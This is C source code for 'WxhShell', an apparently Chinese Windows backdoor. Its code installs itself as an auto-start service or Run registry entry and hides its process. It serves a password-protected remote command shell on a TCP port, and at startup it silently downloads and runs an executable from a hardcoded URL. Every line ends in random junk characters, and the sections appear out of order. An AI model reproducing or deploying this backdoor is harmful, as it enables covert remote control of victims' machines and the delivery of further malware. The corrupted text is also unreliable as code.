qJ{r!NJJ
8
PROCNTQSIP NtQueryInformationProcess; _HWHQF7
HA^jk%53
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L4YVH2`0)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JCw{ ?^F"
#<a_: m)@
HANDLE hProcess; )(h&Q?
Ar
PROCESS_BASIC_INFORMATION pbi; %~#!NX
Y!++CMzU
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y<p zy8z
if(NULL == hInst ) return 0; pu/m8
<a8#0ojm
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WF ?/GN
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T!u'V'Ei2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zW"~YaO%C
a.
h?4+^bN
if (!NtQueryInformationProcess) return 0; xa87xX=a
o &BPG@n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OW+ e_im}
if(!hProcess) return 0; QD$}-D[
[c&2i`C
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x @1px&^
TK;\_yN
CloseHandle(hProcess); RGT_}ni
8w)e/*:j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ? .c?Pu
if(hProcess==NULL) return 0; r?64!VS;
Xtci0eS#V
HMODULE hMod; )^t!|*1LA
char procName[255]; |7rR99
unsigned long cbNeeded; P['X<Xt8
IXGW2z;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [ 3$.*
=E;=+eqt
CloseHandle(hProcess); \e?.hmq
w) =eMdj\o
if(strstr(procName,"services")) return 1; // 以服务启动 f!5F]qP>-
;EK(b
return 0; // 注册表启动 -L@]I$Yo
} x S
-1Djo:y
// 主模块 \Os:6U=X-
int StartWxhshell(LPSTR lpCmdLine) s{yJ:WncI
{ 0-*Z<cu%l
SOCKET wsl; 'n~fR]h}
BOOL val=TRUE; sS
C?io
int port=0; V-[2jC{
struct sockaddr_in door; ^[ET&"
;LHDh_.pX
if(wscfg.ws_autoins) Install(); qovQ9O
$ I#7dJ"*
port=atoi(lpCmdLine); `Jn,IDq
%/P=m-K
if(port<=0) port=wscfg.ws_port; 0;}Aj8Fle
KuA>"X
WSADATA data; 6dF$?I&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D~Z=0yD
3"5.eZSOW
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a*V9_Px$&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $np=eT)
door.sin_family = AF_INET; Y;8
>=0ye
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !d\t:0;
door.sin_port = htons(port); aw1P5aPmX
ir]Mn.(Y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <# >Oy&E
closesocket(wsl); "cwR^DoD&
return 1; M
/"gf;)q>
} 8GY.){d!l
e{5,'(1]
if(listen(wsl,2) == INVALID_SOCKET) { 7krh4
closesocket(wsl); EY]a6@;
return 1; :JR<SFjm
} Lj4&_b9
Wxhshell(wsl); u2 7S%2P
WSACleanup(); 5Yl6?
jM*AL
X
return 0; |Td_S|:d
n<E.Em1
}
pL~=Z?(B
^b=XV&{q
// 以NT服务方式启动 sD2
^_w6j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (s088O
{ S9J5(lYv~N
DWORD status = 0; =:4?>2)
DWORD specificError = 0xfffffff; N*f^Z#B]
c)03Ms4
D
serviceStatus.dwServiceType = SERVICE_WIN32; _D-5}a"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3g;T?E
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @YCv
serviceStatus.dwWin32ExitCode = 0; zHV|-R
serviceStatus.dwServiceSpecificExitCode = 0; ~^x-ym5
serviceStatus.dwCheckPoint = 0; )U'yUUi
serviceStatus.dwWaitHint = 0; IdF$Ml#[h
4Hk6b09
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C,.-Q"juH
if (hServiceStatusHandle==0) return; HM):"
y<|)'(
status = GetLastError(); h`lmC]X_
if (status!=NO_ERROR) JPsSw
{ *E}Oh
serviceStatus.dwCurrentState = SERVICE_STOPPED; dQai4e>[
serviceStatus.dwCheckPoint = 0; [@<G+j
serviceStatus.dwWaitHint = 0; [7RheXO<
serviceStatus.dwWin32ExitCode = status; b"t")U==
serviceStatus.dwServiceSpecificExitCode = specificError; ~Zmi(Ra
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )=Zsv40O
return; o_O+u%y
} EX4
C.C|d
'6X%=f'^b
serviceStatus.dwCurrentState = SERVICE_RUNNING; <Pio Q>~
serviceStatus.dwCheckPoint = 0; z>|)ieL
serviceStatus.dwWaitHint = 0; qC..\{z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V}SyD(8~
} iD<6t_8),
\e|U9;Mf
// 处理NT服务事件,比如:启动、停止 izf~w^/
VOID WINAPI NTServiceHandler(DWORD fdwControl)
fe';b[q)#
{ 3%2jwR
switch(fdwControl) PPj[;(A
{ xZyeX34{M;
case SERVICE_CONTROL_STOP: /$Z
m~Mp
serviceStatus.dwWin32ExitCode = 0; \6:>{0\
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2 h<U
serviceStatus.dwCheckPoint = 0; y@`~ 9$
serviceStatus.dwWaitHint = 0; b_l3+'#ofM
{ ESIzGaM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5U~OP
} HlPG3LD!
return; >t0%?wj)Y
case SERVICE_CONTROL_PAUSE: @zrNN>
serviceStatus.dwCurrentState = SERVICE_PAUSED; XVF^,Yf
break; d&u7]<yDA
case SERVICE_CONTROL_CONTINUE: ZBJ3 VK
serviceStatus.dwCurrentState = SERVICE_RUNNING; s^cc@C
break; .H2qs{N!
case SERVICE_CONTROL_INTERROGATE: FCiq?@
break; 6- ]h5L]
}; zKxvN3!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {5-zyE
} [O_^MA,z
UiIF6-ZZ!
// 标准应用程序主函数 _f3
WRyN0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U CRAw3=
{ _q)!B,y-/N
k2p'G')H
// 获取操作系统版本 (a }J$:
OsIsNt=GetOsVer(); {zP#woz2Q
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0[)VO[
PrSkHxm
// 从命令行安装 l E^*t`+
if(strpbrk(lpCmdLine,"iI")) Install(); 5V @&o`!=h
s}ADk-7
// 下载执行文件 JKy#j g:#
if(wscfg.ws_downexe) { xGRT"U(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $KX[Zu%
WinExec(wscfg.ws_filenam,SW_HIDE); EZib1g&:R/
} _]=9#Fg7{
CZ3].DA|z
if(!OsIsNt) { Pz@/|&]
// 如果时win9x,隐藏进程并且设置为注册表启动
<uD qYT$6
HideProc(); bxwkTKr'
StartWxhshell(lpCmdLine); s4$X
} [N:BM% FQ
else ^PqMi:htc
if(StartFromService()) iCrxV{
// 以服务方式启动 #6W,6(#^#
StartServiceCtrlDispatcher(DispatchTable); nU/;2=f<
else O!^; mhy"
// 普通方式启动 w^{!U
StartWxhshell(lpCmdLine); p7C!G1+z
CCqT tp
return 0; WeC(w+}p
} /\J|Uj
I60DUuF
Z^#]#f
p)3nyN=|_
=========================================== #mLuU
ia4k :\
ntGq"
o
})[($$f/
]1sNmi$T
AmcC:5
" Q\9K2=4
c!Dc8=nE0m
#include <stdio.h> xU}M;4kH~
#include <string.h> >SDpuG&>
#include <windows.h> f^9&WT
#include <winsock2.h> PZ,z15PG]
#include <winsvc.h> >uy%-aXiVa
#include <urlmon.h> .Xd0
Q=1h
8!zbF<W9
#pragma comment (lib, "Ws2_32.lib") mp\%M
1<
#pragma comment (lib, "urlmon.lib") c+2%rh1
y
~AmG~
#define MAX_USER 100 // 最大客户端连接数 S&?7K-F>_o
#define BUF_SOCK 200 // sock buffer i:Y\`J
#define KEY_BUFF 255 // 输入 buffer Ld(NhB'7
`4
UlJ4<`
#define REBOOT 0 // 重启 !M;A*:-
#define SHUTDOWN 1 // 关机 6E|S
*)> do
L
#define DEF_PORT 5000 // 监听端口 o| D^`Z
Wx]d $_
#define REG_LEN 16 // 注册表键长度 |!LnAh
#define SVC_LEN 80 // NT服务名长度 d?hz LX
4D"4zp7
// 从dll定义API 6y
Wc1
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (oaYF+T
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6sB$<#
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,2`~ NPb
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rj6|Y"gq9
HZZDv+
// wxhshell配置信息 nl
n OwyMJ
struct WSCFG { 8Xn!Kpa
int ws_port; // 监听端口 9.&mz}q
char ws_passstr[REG_LEN]; // 口令 fz}?*vPW
int ws_autoins; // 安装标记, 1=yes 0=no >I<PO.c!
char ws_regname[REG_LEN]; // 注册表键名 [B9 ;?G
char ws_svcname[REG_LEN]; // 服务名 'MQ%)hipA
char ws_svcdisp[SVC_LEN]; // 服务显示名 B8V,)rn
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]ii+S"U3
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R1%y]]*-P
int ws_downexe; // 下载执行标记, 1=yes 0=no .y): Rh^
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AK2WN#u@Z
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yn~P{}68
j*zD0I]
}; q;A;H)?g
lTz6"/
// default Wxhshell configuration vV^dm)?
struct WSCFG wscfg={DEF_PORT, Dp!zk}f|
"xuhuanlingzhe", ]b}B2F'n
1, &erm`Ho
"Wxhshell", DDw''
"Wxhshell", MFwO9"<A
"WxhShell Service", YBjdp=als
"Wrsky Windows CmdShell Service", tu}>:mk
"Please Input Your Password: ", Rs7|}Dl}
1, N 8t=@~]
"http://www.wrsky.com/wxhshell.exe", keCRvl Z4
"Wxhshell.exe" /fwgqFVk
}; C2/}d? bki
D:E9!l'
// 消息定义模块 ,]$A\+m'
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3f&|h^\nD
char *msg_ws_prompt="\n\r? for help\n\r#>"; *%A}x
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k4y}&?$B
char *msg_ws_ext="\n\rExit."; rK|*hcy
char *msg_ws_end="\n\rQuit."; va,~w(G
char *msg_ws_boot="\n\rReboot..."; A6p`ma $L
char *msg_ws_poff="\n\rShutdown..."; {a"RXa
char *msg_ws_down="\n\rSave to "; &]iKriG
C1fyV]
char *msg_ws_err="\n\rErr!"; v?j!&d>
char *msg_ws_ok="\n\rOK!"; @8gEH+r
LwdV3 vb#
char ExeFile[MAX_PATH]; u$\a3yi
int nUser = 0; "JT;gaEm
HANDLE handles[MAX_USER]; n?QZFeI`
int OsIsNt; FpVV4D
`9 [i79U
SERVICE_STATUS serviceStatus; 'uC59X4l
SERVICE_STATUS_HANDLE hServiceStatusHandle; !O)qYmK]|
y0IK,W'&?
// 函数声明 $[(d X!]F
int Install(void); ?L|yaC~
int Uninstall(void); .j?kEN?w
int DownloadFile(char *sURL, SOCKET wsh); #n7Yr,|Z
int Boot(int flag); QK <\kVZ8
void HideProc(void); 2`Gv5}LfyR
int GetOsVer(void); DW2>&|
int Wxhshell(SOCKET wsl); 4v.d-^
void TalkWithClient(void *cs); rt!r2dq"
int CmdShell(SOCKET sock); Ai kf|)D[
int StartFromService(void); f)6))
int StartWxhshell(LPSTR lpCmdLine); J8Z0D:5
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HL 8eD^
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;j'Daupt;=
VKuAO$s$
// 数据结构和表定义 e7k%6'@
SERVICE_TABLE_ENTRY DispatchTable[] = 4hAJ!7[A.
{ 3S"] u}
{wscfg.ws_svcname, NTServiceMain}, dM]#WBOPy
{NULL, NULL} O\Eqr?%L)
}; OJ3UE(,I=
sb.J
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// 自我安装 EHI 'xt
int Install(void) GozPvR^/
{ g22gIj]
char svExeFile[MAX_PATH]; =m tY
HKEY key; ' [p)N,
strcpy(svExeFile,ExeFile); \}dyS8
ZYMw}]#((E
// 如果是win9x系统,修改注册表设为自启动 id,NONb\
if(!OsIsNt) { Ge \["`;i
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4JMiyiW&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /q1s;I
RegCloseKey(key); yyP-=Lhmo=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iRw&49
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r>|-2}{N/
RegCloseKey(key); @;)PSp*j
return 0; ht6244:
} vg\/DbI'
} -9+se
} Z4q~@|+%
else { {IM! Wb
0Y?H0
// 如果是NT以上系统,安装为系统服务 A
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SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &ab|2*3?X
if (schSCManager!=0) 1ThqqB
{ 97`WMs
SC_HANDLE schService = CreateService JUt7En;XE
( M+Uyb7
schSCManager, %1}6q`:w
wscfg.ws_svcname, K-Mc6
wscfg.ws_svcdisp, aMwB>bt
SERVICE_ALL_ACCESS, i[nF.I5*f
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X0$@Ik
SERVICE_AUTO_START, MXZ>"G
SERVICE_ERROR_NORMAL, uA~slS
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svExeFile, B3
zk(RNZ
NULL, RFfIF]~3
NULL, r`M6!}oa
NULL, @WOM#Kc
NULL, vq'k|_Qi=
NULL =/9^,
6Q(
); Fx#jV\''s
if (schService!=0) p*qPcuAA
{ SW 8x]B
CloseServiceHandle(schService); 4IsG=7
CloseServiceHandle(schSCManager); Fo|xzLm9*|
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jna;0)
strcat(svExeFile,wscfg.ws_svcname); 07_oP(;jT
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^DAu5 |--R
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0D ~
Tga)
RegCloseKey(key); E4oz|2!m
return 0; m&Y i!7@(
} jai|/"HSXw
} I.jZ
wW!r
CloseServiceHandle(schSCManager); 8l+H"M&|
} k*Nr!Z!}
} #I0pYA2m
jAhP>
t:
return 1; B6M+mx"G
} SoQR#(73HK
\k@$~}xD,
// 自我卸载 *75YGD
int Uninstall(void) yfj(Q s
{ 5<+K?uhm
HKEY key; B!S 167Op
)u} Q:`9
if(!OsIsNt) { {=Q7m`1
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _GA$6#]
RegDeleteValue(key,wscfg.ws_regname); 7{M>!}
rY
RegCloseKey(key); `E`HVZ}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D4Nu8Wr$
RegDeleteValue(key,wscfg.ws_regname); e x?v
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RegCloseKey(key); $P {K2"Oc
return 0; ]\c,BWC@e
} + ,4"
u
} e@]-D
FG
} ff2d@P,!
else { %w}gzxN^
wSXVyg{
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nb,2,H
if (schSCManager!=0) h #.N3o
{ [c&